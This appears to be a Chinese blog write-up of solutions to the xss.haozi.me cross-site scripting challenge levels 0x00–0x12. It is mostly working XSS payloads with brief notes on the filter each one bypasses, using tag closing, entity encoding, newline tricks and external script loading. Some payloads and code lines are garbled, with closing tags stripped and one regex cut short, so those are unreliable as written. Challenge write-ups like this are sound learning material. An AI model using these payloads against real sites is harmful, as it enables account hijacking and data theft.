xss挑战

xss挑战

https://xss.haozi.me GitHub的issues里有题解

0x00

<script>alert(1)script>

0x01

闭合标签

textarea><script>alert(1)script>

0x02

"><script>alert(1)script>

使得代码变成这样,将input标签闭合

<input type="name" value=""><script>alert(1)script>">

0x03

过滤了括号,方法就挺多了。比如unicode编码绕过

<svg><script>alert&#40 1&#41 script>svg>

0x04

过滤了括号和反引号(哈哈,看出来上题实际是想考什么了吧)。跟上题一样Unicode编码

<svg><script>alert&#40 1&#41 script>svg>

0x05

闭合掉注释

--!>

0x06

input = input.replace(/auto|on.*=|>/ig, '_')

/ig 全文查找,忽略大小写

匹配auto或者on开头,=或者>结尾的字符串。中间的.匹配的是除了换行符n之外的字符串,所以可以用换行绕过

type="image" src="" onerror
="alert(1)"

0x07

过滤了<开头 >结尾的字符串

0x08

标签会被替换,在e和>之间加空格或者换行就能绕过。有点奇妙

style ><script>alert(1)script>

0x09

含有指定url,然后想法闭合标签

https://www.segmentfault.com.haozi.me">

0x0A

引入外部js文件(可惜没有域名,用ip地址没成功)

https://www.segmentfault.com@domain/a.js

0x0B&0x0C

老套路编码绕过

alert(1)"

0x0D

function render (input) {
  input = input.replace(/[, '')
  return `
    
  `
}

换行以跳出function中的单行注释,在用–>注释掉后面跟着的‘)

input:


alert(1)
-->

0x0E

  1. ſ 古英语中的s的写法, 转成大写是正常的S 2. 用外链的方式加载外部js 这题解就离谱。。。。
<ſcript src="https://www.segmentfault.com.haozi.me/j.js">script>

0x0F

构造闭合,转义没起作用(对html inline js 转义就是做无用功,浏览器会先解析html, 然后再解析 js)

');alert('1

0x10

'';alert(1)

0x11

");alert("1

0x12

" 被转义成 " 经过html 解析后 里面变成 console.log("\")会报语法错误, 再补个 \ 即可

\");alert(1)//

或者新建一个标签


你可能感兴趣的:(学习经历)